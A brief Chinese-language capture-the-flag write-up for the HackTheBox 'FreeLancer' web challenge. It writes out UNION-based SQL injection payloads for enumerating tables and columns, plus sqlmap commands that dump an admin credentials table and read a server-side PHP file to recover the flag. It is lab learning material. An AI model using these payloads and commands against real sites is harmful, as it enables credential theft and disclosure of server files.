FreeLancer
题目描述:
Can you test how secure my website is? Prove me wrong and capture the flag!
流程
题目描述好像并没有给什么信息,直接进入网站看看吧
在下方找到了输入框,感觉可以注入
尝试一下:http://docker.hackthebox.eu:30643?id=1
尴尬,思路好像错了,在F12看下页面信息,好像发现了新大陆
登陆http://docker.hackthebox.eu:30643/portfolio.php
看下,
GET方式的请求,直接注入吧
http://docker.hackthebox.eu:30643/portfolio.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
数据库内数据表就出来,两张表“portfolio”和"safeadmin",“safeadmin”==安全管理员???
看下“safeadmin”表的列名
http://docker.hackthebox.eu:30643/portfolio.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='safeadmin'
用户名,密码???这不就是我要的数据了么
上sqlmap脱裤了
gohb@gohb:~$ sqlmap -u http://docker.hackthebox.eu:30643/portfolio.php?id=1 -T safeadmin --dump
爆出了username和password,这个密码好像是加密过的。这个页面也没有输入框,咋整???
这里小编忘记截图了,就是用文件扫描工具发现这个网站还有个/administrat/panel.php
继续上sqlmap
gohb@gohb:~$ sqlmap -u http://docker.hackthebox.eu:30643/portfolio.php?id=1 --file-read=/var/www/html/administrat/panel.php
文件被保存在自己的/home/gohb/.sqlmap/output/docker.hackthebox.eu/files/_var_www_html_administrat_panel.php,查看一下
gohb@gohb:~$ cat /home/gohb/.sqlmap/output/docker.hackthebox.eu/files/_var_www_html_administrat_panel.php
成功拿到flag。